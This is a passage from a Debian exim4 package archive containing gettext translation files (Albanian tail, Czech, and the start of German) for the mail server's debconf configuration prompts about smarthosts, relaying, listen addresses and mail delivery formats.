(p.sh. 5f03::1200::836f::::/48)" #~ msgid "" #~ "Enter a colon-separated list of IP-addresses to listen on. You need to " #~ "double the colons in IPv6 addresses (e.g. 5f03::1200::836f::::)." #~ msgstr "" #~ "Shkruaj një listë adresash IP në dëgjim të ndarë nga dy pika. Duhet të " #~ "dopjosh dy pikat në adresat e llojit IPv6 (p.sh. 5f03::1200::836f::::)." #~ msgid "Configuring Exim v4 (exim4-config)" #~ msgstr "Duke konfiguruar Exim v4 (exim4-config)" debian/po/cs.po0000644000000000000000000006520512027557533010572 0ustar # # Translators, if you are not familiar with the PO format, gettext # documentation is worth reading, especially sections dedicated to # this format, e.g. by running: # info -n '(gettext)PO Files' # info -n '(gettext)Header Entry' # # Some information specific to po-debconf are available at # /usr/share/doc/po-debconf/README-trans # or http://www.debian.org/intl/l10n/po-debconf/README-trans # # Developers do not need to manually edit POT or PO files. # msgid "" msgstr "" "Project-Id-Version: exim4\n" "Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n" "POT-Creation-Date: 2007-07-18 08:29+0200\n" "PO-Revision-Date: 2007-06-23 12:12+0200\n" "Last-Translator: Miroslav Kure \n" "Language-Team: Czech \n" "Language: cs\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" #. Type: boolean #. Description #: ../exim4-base.templates:1001 msgid "Remove undelivered messages in spool directory?" msgstr "Odstranit nedoručenou poštu z adresáře spool?" #. Type: boolean #. Description #: ../exim4-base.templates:1001 msgid "" "There are e-mail messages in the Exim spool directory /var/spool/exim4/" "input/ which have not yet been delivered. Removing Exim will cause them to " "remain undelivered until Exim is re-installed." msgstr "" "Ve spool adresáři Eximu /var/spool/exim4/input se nachází dosud nedoručená " "pošta. Odstraněním Eximu způsobíte, že zůstane nedoručená do doby, než Exim " "znovu nainstalujete." #. Type: boolean #. Description #: ../exim4-base.templates:1001 msgid "" "If this option is not chosen, the spool directory is kept, allowing the " "messages in the queue to be delivered at a later date after Exim is re-" "installed." msgstr "" "Odmítnete-li tuto možnost, bude adresář s nedoručenou poštou zachován, což " "vám umožní doručit zprávy později, až se rozhodnete Exim znovu nainstalovat." #. Type: error #. Description #: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 #: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 msgid "Reconfigure exim4-config instead of this package" msgstr "Místo tohoto balíku použijte raději exim4-config" #. Type: error #. Description #: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 #: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 msgid "" "Exim4 has its configuration factored out into a dedicated package, exim4-" "config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'." msgstr "" "Exim4 má svou konfiguraci oddělenou do samostatného balíku exim4-config. " "Chcete-li změnit nastavení Eximu4, použijte příkaz 'dpkg-reconfigure exim4-" "config'." #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "internet site; mail is sent and received directly using SMTP" msgstr "internetový počítač; pošta je přijímána a doručována přímo SMTP" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "mail sent by smarthost; received via SMTP or fetchmail" msgstr "zasílání pošty přes chytrý počítač; příjem přes SMTP nebo fetchmail" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "mail sent by smarthost; no local mail" msgstr "zasílání pošty přes chytrý počítač; žádná lokální pošta" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "local delivery only; not on a network" msgstr "pouze lokální pošta; počítač není na síti" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "no configuration at this time" msgstr "nyní nic nenastavovat" #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "General type of mail configuration:" msgstr "Základní model poštovního nastavení:" #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "Please select the mail server configuration type that best meets your needs." msgstr "" "Vyberte typ nastavení poštovní serveru, který nejlépe odpovídá vašim " "požadavkům." #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "Systems with dynamic IP addresses, including dialup systems, should " "generally be configured to send outgoing mail to another machine, called a " "'smarthost' for delivery because many receiving systems on the Internet " "block incoming mail from dynamic IP addresses as spam protection." msgstr "" "Počítače s dynamickými IP adresami (včetně systémů na vytáčeném připojení) " "by měly být nastaveny tak, že veškerou odchozí poštu posílají jinému, " "„chytrému“, počítači (smarthost), který se postará o její doručení. Mnoho " "příjemců se totiž chrání před spamem mimo jiné tím, že blokují příchozí " "poštu z dynamických IP adres." #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "A system with a dynamic IP address can receive its own mail, or local " "delivery can be disabled entirely (except mail for root and postmaster)." msgstr "" "Systém s dynamickou IP adresou buď může přijímat svou vlastní poštu, nebo je " "možné lokální doručení úplně zakázat (s výjimkou pošty pro uživatele root a " "postmaster)." #. Type: boolean #. Description #: ../exim4-config.templates:2001 msgid "Really leave the mail system unconfigured?" msgstr "Opravdu nechcete nastavit poštovní systém?" #. Type: boolean #. Description #: ../exim4-config.templates:2001 msgid "" "Until the mail system is configured, it will be broken and cannot be used. " "Configuration at a later time can be done either by hand or by running 'dpkg-" "reconfigure exim4-config' as root." msgstr "" "Dokud poštovní systém nenastavíte, bude porouchaný a nemůžete jej využívat. " "Nastavení samozřejmě můžete provést později ručně nebo příkazem „dpkg-" "reconfigure exim4-config“ (obojí pod uživatelem root)." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "System mail name:" msgstr "Poštovní jméno počítače:" #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "The 'mail name' is the domain name used to 'qualify' mail addresses without " "a domain name." msgstr "" "„Poštovní jméno“ je jméno domény, které se připojí za poštovní adresy bez " "doménového jména. Adresa se tak stane plně kvalifikovaná." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "This name will also be used by other programs. It should be the single, " "fully qualified domain name (FQDN)." msgstr "" "Toto jméno budou využívat i jiné programy. Mělo by to být jednoznačné plně " "kvalifikované doménové jméno (FQDN)." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "Thus, if a mail address on the local host is foo@example.org, the correct " "value for this option would be example.org." msgstr "" "Například pokud má poštovní adresa tvar uzivatel@ukazkova.domena, tak je " "správnou hodnotou ukazkova.domena." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "This name won't appear on From: lines of outgoing messages if rewriting is " "enabled." msgstr "" "Pokud zapnete přepisování, toto jméno se neobjeví v odchozí poště na řádcích " "From:." #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "Other destinations for which mail is accepted:" msgstr "Další místa určení, pro která akceptujeme poštu:" #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "" "Please enter a semicolon-separated list of recipient domains for which this " "machine should consider itself the final destination. These domains are " "commonly called 'local domains'. The local hostname (${fqdn}) and " "'localhost' are always added to the list given here." msgstr "" "Zadejte středníky oddělený seznam domén, pro které skončí pošta na tomto " "počítači. Tyto domény se běžně nazývají „lokální domény“. K seznamu se vždy " "přidá vlastní jméno počítače (${fqdn}) a 'localhost'. " #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "" "By default all local domains will be treated identically. If both a.example " "and b.example are local domains, acc@a.example and acc@b.example will be " "delivered to the same final destination. If different domain names should be " "treated differently, it is necessary to edit the config files afterwards." msgstr "" "Standardně se se všemi doménami zachází stejně. Například pokud a.priklad i " "b.priklad jsou lokální domény, bude pošta pro ucet@a.priklad i ucet@b." "priklad doručena do stejné cílové destinace. Jestliže se mají různá doménová " "jména chovat různě, je nutné upravit konfigurační soubor ručně." #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "Domains to relay mail for:" msgstr "Domény, pro které předávat poštu (relay):" #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "" "Please enter a semicolon-separated list of recipient domains for which this " "system will relay mail, for example as a fallback MX or mail gateway. This " "means that this system will accept mail for these domains from anywhere on " "the Internet and deliver them according to local delivery rules." msgstr "" "Zadejte prosím středníky oddělený seznam domén, pro které bude tento systém " "předávat poštu (relay), například pokud systém slouží jako jako záložní MX, " "nebo poštovní brána. To znamená, že pro uvedené domény bude tento systém " "přijímat poštu odkudkoliv z Internetu a bude ji doručovat podle pravidel pro " "místní doručování pošty." #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "Do not mention local domains here. Wildcards may be used." msgstr "Neuvádějte zde lokální domény. Můžete použít i zástupné znaky." #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "Machines to relay mail for:" msgstr "Počítače, pro které předávat poštu (relay):" #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "Please enter a semicolon-separated list of IP address ranges for which this " "system will unconditionally relay mail, functioning as a smarthost." msgstr "" "Zadejte prosím středníky oddělený seznam rozsahů IP adres, pro které bude " "tento systém předávat poštu (relay) a vlastně jim bude plnit úlohu chytrého " "počítače (smarthost)." #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "You should use the standard address/prefix format (e.g. 194.222.242.0/24 or " "5f03:1200:836f::/48)." msgstr "" "Měli byste použít obvyklý formát adresa/prefix (např. 194.222.242.0/24 nebo " "5f03:1200:836f::/48)." #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "If this system should not be a smarthost for any other host, leave this list " "blank." msgstr "" "Jestliže tento systém nemá sloužit jako smarthost, ponechte seznam prázdný." #. Type: string #. Description #: ../exim4-config.templates:7001 msgid "Visible domain name for local users:" msgstr "Viditelné doménové jméno pro lokální uživatele:" #. Type: string #. Description #: ../exim4-config.templates:7001 msgid "" "The option to hide the local mail name in outgoing mail was enabled. It is " "therefore necessary to specify the domain name this system should use for " "the domain part of local users' sender addresses." msgstr "" "Protože je zapnuto skrývání lokálního jména v odchozí poště, musíte zadat " "doménové jméno, které má systém použít jako doménovou část pro adresu " "odesilatele. (Vztahuje se na poštu posílanou od lokálních uživatelů.)" #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "IP address or host name of the outgoing smarthost:" msgstr "Jméno nebo IP adresa chytrého počítače (smarthost):" #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "" "Please enter the IP address or the host name of a mail server that this " "system should use as outgoing smarthost. If the smarthost only accepts your " "mail on a port different from TCP/25, append two colons and the port number " "(for example smarthost.example::587 or 192.168.254.254::2525). Colons in " "IPv6 addresses need to be doubled." msgstr "" "Zadejte prosím jméno nebo IP adresu poštovního serveru, který bude tento " "systém využívat pro odesílání odchozí pošty (smarthost). Pokud umí zvolený " "chytrý počítač přijímat poštu pouze na jiném portu než TCP/25, připojte " "nakonec dvě dvojtečky a číslo portu (například smarthost.priklad::587 nebo " "192.168.254.254::2525). U adres IPv6 musíte dvojtečky zdvojit." #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "" "If the smarthost requires authentication, please refer to the Debian-" "specific README files in /usr/share/doc/exim4-base for notes about setting " "up SMTP authentication." msgstr "" "Pokud chytrý počítač vyžaduje autentizaci, přečtěte si prosím poznámky o " "nastavení SMTP autentizace v debianích README v /usr/share/doc/exim4-base/." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "Root and postmaster mail recipient:" msgstr "Příjemce pošty pro uživatele root a postmaster:" #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "Mail for the 'postmaster', 'root', and other system accounts needs to be " "redirected to the user account of the actual system administrator." msgstr "" "Pošta pro uživatele „postmaster“, „root“ a jiné systémové účty musí být " "přesměrována na běžný uživatelský účet momentálního správce systému." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "If this value is left empty, such mail will be saved in /var/mail/mail, " "which is not recommended." msgstr "" "Necháte-li tuto hodnotu prázdnou, bude se podobná pošta ukládat do /var/mail/" "mail, což se nedoporučuje." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "Note that postmaster's mail should be read on the system to which it is " "directed, rather than being forwarded elsewhere, so (at least one of) the " "users listed here should not redirect their mail off this machine. A 'real-' " "prefix can be used to force local delivery." msgstr "" "Pošta pro uživatele „postmaster“ by se měla většinou číst na systému, ke " "kterému patří. To znamená, že alespoň jeden uživatel, který dostává tuto " "poštu, by ji neměl přesměrovávat pryč z tohoto systému. Pro vynucení " "doručení na lokální účet můžete použít předponu „real-“." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "Multiple user names need to be separated by spaces." msgstr "Více uživatelských jmen musí být odděleno mezerami." #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "IP-addresses to listen on for incoming SMTP connections:" msgstr "IP adresy, na kterých se mají očekávat příchozí SMTP spojení:" #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "Please enter a semicolon-separated list of IP addresses. The Exim SMTP " "listener daemon will listen on all IP addresses listed here." msgstr "" "Zadejte prosím středníky oddělený seznam IP adres. SMTP daemon Exim bude " "naslouchat na všech zde uvedených IP adresách." #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "An empty value will cause Exim to listen for connections on all available " "network interfaces." msgstr "" "Prázdná hodnota způsobí, že Exim bude čekat na spojení na všech dostupných " "síťových rozhraních." #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "If this system only receives mail directly from local services (and not from " "other hosts), it is suggested to prohibit external connections to the local " "Exim daemon. Such services include e-mail programs (MUAs) which talk to " "localhost only as well as fetchmail. External connections are impossible " "when 127.0.0.1 is entered here, as this will disable listening on public " "network interfaces." msgstr "" "Pokud tento počítač nedostává poštu přímo z jiných počítačů, ale pouze skrze " "lokální služby, doporučuje se zakázat externí spojení k lokálnímu Eximu. " "Mezi lokální služby patří programy jako fetchmail nebo poštovní klienti, " "kteří se baví pouze s tímto počítačem. Pokud zde zadáte 127.0.0.1, zakážete " "Eximu naslouchat na veřejných síťových rozhraních a tedy zamezíte externím " "spojením." #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?" msgstr "Minimalizovat počet DNS dotazů (Vytáčení-na-vyžádání)?" #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "In normal mode of operation Exim does DNS lookups at startup, and when " "receiving or delivering messages. This is for logging purposes and allows " "keeping down the number of hard-coded values in the configuration." msgstr "" "Aby Exim poskytoval přesné záznamy o své činnosti a minimalizoval počet " "pevných hodnot v konfiguračním souboru, klade při svém startu a při " "přijímání nebo odesílání pošty různé DNS dotazy." #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "If this system does not have a DNS full service resolver available at all " "times (for example if its Internet access is a dial-up line using dial-on-" "demand), this might have unwanted consequences. For example, starting up " "Exim or running the queue (even with no messages waiting) might trigger a " "costly dial-up-event." msgstr "" "Kdyby tento počítač neměl trvalý přístup k jmenným serverům a používal pro " "přístup k Internetu vytáčené připojení na vyžádání, mohlo by to mít nechtěné " "následky, protože start eximu nebo kontrola fronty (i kdyby v ní nebyly " "žádné zprávy) by mohly spustit drahé připojení." #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "This option should be selected if this system is using Dial-on-Demand. If it " "has always-on Internet access, this option should be disabled." msgstr "" "Tuto možnost byste měli povolit v případě, že váš systém používá vytáčení na " "vyžádání. Jestliže máte k Internetu trvalý přístup, tuto možnost zamítněte." #. Type: title #. Description #: ../exim4-config.templates:12001 msgid "Mail Server configuration" msgstr "Nastavení poštovního serveru" #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "Split configuration into small files?" msgstr "Rozdělit nastavení do menších souborů?" #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "The Debian exim4 packages can either use 'unsplit configuration', a single " "monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', " "where the actual Exim configuration files are built from about 50 smaller " "files in /etc/exim4/conf.d/." msgstr "" "Debianí balíky eximu4 mohou k vytvoření výsledné konfigurace použít buď " "jeden velký soubor (/etc/exim4/exim4.conf.template) nebo zhruba 50 menších " "souborů z adresáře /etc/exim4/conf.d/." #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "Unsplit configuration is better suited for large modifications and is " "generally more stable, whereas split configuration offers a comfortable way " "to make smaller modifications but is more fragile and might break if " "modified carelessly." msgstr "" "První možnost (jediný soubor) je vhodnější pro rozsáhlé úpravy a teoreticky " "je o něco stabilnější. Druhá možnost (mnoho menších souborů) nabízí " "pohodlnou změnu malých izolovaných částí, ale je náchylnější k chybám z " "nepozornosti." #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "A more detailed discussion of split and unsplit configuration can be found " "in the Debian-specific README files in /usr/share/doc/exim4-base." msgstr "" "Podrobnější diskuzi o monolitické a rozdělené konfiguraci naleznete v " "debianím README v /usr/share/doc/exim4-base/." #. Type: boolean #. Description #: ../exim4-config.templates:14001 msgid "Hide local mail name in outgoing mail?" msgstr "Skrýt lokální poštovní jméno v odchozí poště?" #. Type: boolean #. Description #: ../exim4-config.templates:14001 msgid "" "The headers of outgoing mail can be rewritten to make it appear to have been " "generated on a different system. If this option is chosen, '${mailname}', " "'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-" "Path are rewritten." msgstr "" "Hlavičky odchozí pošty mohou být přepsány tak, aby vypadaly, že zpráva " "pochází z jiného počítače. Jestliže tuto možnost povolíte, budou v " "hlavičkách From, Reply-To, Sender a Return-Path přepisovány řetězce " "„${mailname}“, „localhost“ a „${dc_other_hostnames}“." #. Type: select #. Choices #: ../exim4-config.templates:15001 msgid "mbox format in /var/mail/" msgstr "formát mbox ve /var/mail/" #. Type: select #. Choices #: ../exim4-config.templates:15001 msgid "Maildir format in home directory" msgstr "formát Maildir v domovském adresáři" #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "Delivery method for local mail:" msgstr "Způsob doručení lokální pošty:" #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "" "Exim is able to store locally delivered email in different formats. The most " "commonly used ones are mbox and Maildir. mbox uses a single file for the " "complete mail folder stored in /var/mail/. With Maildir format every single " "message is stored in a separate file in ~/Maildir/." msgstr "" "Exim umí ukládat lokálně doručenou poštu v různých formátech. " "Nejpoužívanější jsou mbox a Maildir. mbox uchovává celou složku s poštou v " "jediném souboru ve /var/mail/. Oproti tomu formát Maildir ukládá každou " "zprávu do samostatného souboru v adresáři ~/Maildir/." #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "" "Please note that most mail tools in Debian expect the local delivery method " "to be mbox in their default." msgstr "" "Vemte prosím na vědomí, že většina poštovních nástrojů v Debianu implicitně " "očekává doručování do mboxu." #~ msgid "Move undelivered mails from exim 3 to exim4 spool?" #~ msgstr "" #~ "Přesunout dosud nedoručenou poštu ze spool adresáře eximu 3 do exim4?" #~ msgid "" #~ "There are some undelivered mails in exim 3 (or exim-tls 3) spool " #~ "directory /var/spool/exim/input/." #~ msgstr "" #~ "Ve spool adresáři eximu nebo eximu-tls verze 3 (/var/spool/exim/input/) " #~ "se nachází dosud nedoručená pošta." #~ msgid "" #~ "Choosing this option will move these messages to exim4's spool (/var/" #~ "spool/exim4/input/) where they will be handled by exim4." #~ msgstr "" #~ "Výběrem této možnosti můžete nedoručenou poštu přesunout do spool " #~ "adresáře eximu4 (/var/spool/exim4/input/), který se o ni postará." #~ msgid "" #~ "This works only one-way: Exim4 can handle exim 3 spool but not vice-" #~ "versa. If you reject this option, you need to move the messages yourself " #~ "or they will never be delivered." #~ msgstr "" #~ "Přesun funguje pouze jedním směrem. Exim4 umí převzít spool adresář od " #~ "eximu verze 3, ale opačně to neplatí. Odmítnete-li tuto možnost, musíte " #~ "poštu přesunout ručně, nebo nebude nikdy doručena." #~ msgid "Leaving this list blank will have Exim do no local deliveries." #~ msgstr "" #~ "Ponecháte-li seznam prázdný, Exim nebude doručovat žádnou lokální poštu." #~ msgid "" #~ "You indicated that you have a handcrafted Exim 3 configuration. To " #~ "convert this to Exim 4, you can use the exim_convert4r4(8) tool after the " #~ "installation. Consult /usr/share/doc/exim4-base/examples/example.conf.gz " #~ "and /usr/share/doc/exim4-base/README.Debian.gz!" #~ msgstr "" #~ "Naznačujete, že máte své vypiplané nastavení Eximu 3. Pro jeho převod do " #~ "Eximu 4 můžete po instalaci použít nástroj exim_convert4r4(8). " #~ "Nezapomeňte si přečíst /usr/share/doc/exim4-base/examples/example.conf.gz " #~ "a /usr/share/doc/exim4-base/README.Debian.gz!" #~ msgid "" #~ "Your \"mail name\" is the hostname portion of the address to be shown on " #~ "outgoing news and mail messages (following the username and @ sign) " #~ "unless hidden with rewriting." #~ msgstr "" #~ "„Poštovní jméno“ je název počítače a zároveň část adresy za zavináčem, " #~ "která se bude zobrazovat na odchozí poště (pokud není skrytá " #~ "přepisovacími pravidly)." #~ msgid "" #~ "Please enter here the networks of local machines for which you accept to " #~ "relay the mail." #~ msgstr "Zadejte zde sítě, kterým chcete předávat poštu (relay)." debian/po/de.po0000644000000000000000000006502112027557533010551 0ustar # translation of exim4_4.69-2_de.po to German # # Translators, if you are not familiar with the PO format, gettext # documentation is worth reading, especially sections dedicated to # this format, e.g. by running: # info -n '(gettext)PO Files' # info -n '(gettext)Header Entry' # # Some information specific to po-debconf are available at # /usr/share/doc/po-debconf/README-trans # or http://www.debian.org/intl/l10n/po-debconf/README-trans # # Developers do not need to manually edit POT or PO files. # Andreas Metzler # Dennis Stampfer # # Erik Schanze , 2006 - 2008. msgid "" msgstr "" "Project-Id-Version: exim4_4.69-2_de\n" "Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n" "POT-Creation-Date: 2007-07-18 08:29+0200\n" "PO-Revision-Date: 2008-01-26 19:33+0100\n" "Last-Translator: Erik Schanze \n" "Language-Team: German \n" "Language: de\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "X-Generator: KBabel 1.11.4\n" #. Type: boolean #. Description #: ../exim4-base.templates:1001 msgid "Remove undelivered messages in spool directory?" msgstr "Nicht zugestellte E-Mails im »spool«-Verzeichnis löschen?" #. Type: boolean #. Description #: ../exim4-base.templates:1001 msgid "" "There are e-mail messages in the Exim spool directory /var/spool/exim4/" "input/ which have not yet been delivered. Removing Exim will cause them to " "remain undelivered until Exim is re-installed." msgstr "" "In Exims »spool«-Verzeichnis /var/spool/exim4/input/ befinden sich noch E-" "Mails, die noch nicht zugestellt wurden. Wenn Sie Exim entfernen, verbleiben " "sie dort als nicht zugestellt, bis Exim wieder installiert wird." #. Type: boolean #. Description #: ../exim4-base.templates:1001 msgid "" "If this option is not chosen, the spool directory is kept, allowing the " "messages in the queue to be delivered at a later date after Exim is re-" "installed." msgstr "" "Wenn Sie dieser Auswahl nicht zustimmen, bleibt das »spool«-Verzeichnis " "bestehen. Dadurch können die Mitteilungen in der Warteschlange später " "zugestellt werden, nachdem Exim wieder installiert wurde." #. Type: error #. Description #: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 #: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 msgid "Reconfigure exim4-config instead of this package" msgstr "Exim4-config anstelle dieses Pakets neu einrichten" #. Type: error #. Description #: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 #: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 msgid "" "Exim4 has its configuration factored out into a dedicated package, exim4-" "config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'." msgstr "" "Die Einstellungen von Exim4 wurden in ein eigenes Paket, exim4-config, " "ausgelagert. Benutzen Sie den Befehl 'dpkg-reconfigure exim4-config', um " "Exim4 neu einzurichten." #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "internet site; mail is sent and received directly using SMTP" msgstr "" "Internet-Server; E-Mails werden direkt über SMTP verschickt und empfangen" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "mail sent by smarthost; received via SMTP or fetchmail" msgstr "" "Versand über Sendezentrale (Smarthost); Empfang mit SMTP oder Fetchmail" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "mail sent by smarthost; no local mail" msgstr "Versand über Sendezentrale (Smarthost); keine lokale E-Mail-Zustellung" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "local delivery only; not on a network" msgstr "Nur lokale E-Mail-Zustellung; keine Netzwerkverbindung" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "no configuration at this time" msgstr "Keine Festlegung zum jetzigen Zeitpunkt" #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "General type of mail configuration:" msgstr "Generelle E-Mail-Einstellungen:" #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "Please select the mail server configuration type that best meets your needs." msgstr "" "Bitte wählen Sie die Einstellung des E-Mail-Servers, die Ihren Bedürfnissen " "am besten entspricht." #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "Systems with dynamic IP addresses, including dialup systems, should " "generally be configured to send outgoing mail to another machine, called a " "'smarthost' for delivery because many receiving systems on the Internet " "block incoming mail from dynamic IP addresses as spam protection." msgstr "" "Systeme mit wechselnder IP-Adresse, einschließlich Systeme mit " "Einwahlzugängen, sollten ausgehende E-Mails immer an einen anderen Rechner, " "Sendezentrale (»Smarthost«) genannt, zum Versenden weitergeben, weil viele " "Empfänger im Internet ankommende E-Mails von wechselnden IP-Adressen zum " "Schutz vor unerwünschten E-Mails (Spam) ablehnen." #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "A system with a dynamic IP address can receive its own mail, or local " "delivery can be disabled entirely (except mail for root and postmaster)." msgstr "" "Ein System mit wechselnder IP-Adresse kann selbst E-Mails empfangen oder die " "lokale Zustellung kann abgeschaltet werden (außer E-Mails für die Benutzer " "root und postmaster)." #. Type: boolean #. Description #: ../exim4-config.templates:2001 msgid "Really leave the mail system unconfigured?" msgstr "Soll das E-Mail-System wirklich nicht eingerichtet werden?" #. Type: boolean #. Description #: ../exim4-config.templates:2001 msgid "" "Until the mail system is configured, it will be broken and cannot be used. " "Configuration at a later time can be done either by hand or by running 'dpkg-" "reconfigure exim4-config' as root." msgstr "" "Das E-Mail-System ist nicht funktionsfähig, bis Sie es einrichten. Sie " "können Exim später manuell einrichten oder als Benutzer root den Befehl " "'dpkg-reconfigure exim4-config' aufrufen." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "System mail name:" msgstr "E-Mail-Name des Systems:" #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "The 'mail name' is the domain name used to 'qualify' mail addresses without " "a domain name." msgstr "" "Der »E-Mail-Name« ist der Domänenname, der für E-Mail-Adressen, die keinen " "Domänennamen haben, verwendet wird." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "This name will also be used by other programs. It should be the single, " "fully qualified domain name (FQDN)." msgstr "" "Dieser Name wird auch von anderen Programmen genutzt. Er sollte der " "eindeutige, vollqualifizierte Domänenname (FQDN) sein." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "Thus, if a mail address on the local host is foo@example.org, the correct " "value for this option would be example.org." msgstr "" "Wenn also foo@example.org eine E-Mail-Adresse auf dem lokalen Rechner ist, " "dann ist hier »example.org« richtig." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "This name won't appear on From: lines of outgoing messages if rewriting is " "enabled." msgstr "" "Dieser Name taucht nicht in der Absender-Zeile (From:) ausgehender E-Mails " "auf, wenn »Umschreiben« (rewriting) aktiviert wird." #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "Other destinations for which mail is accepted:" msgstr "Weitere Ziele, für die E-Mails angenommen werden sollen:" #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "" "Please enter a semicolon-separated list of recipient domains for which this " 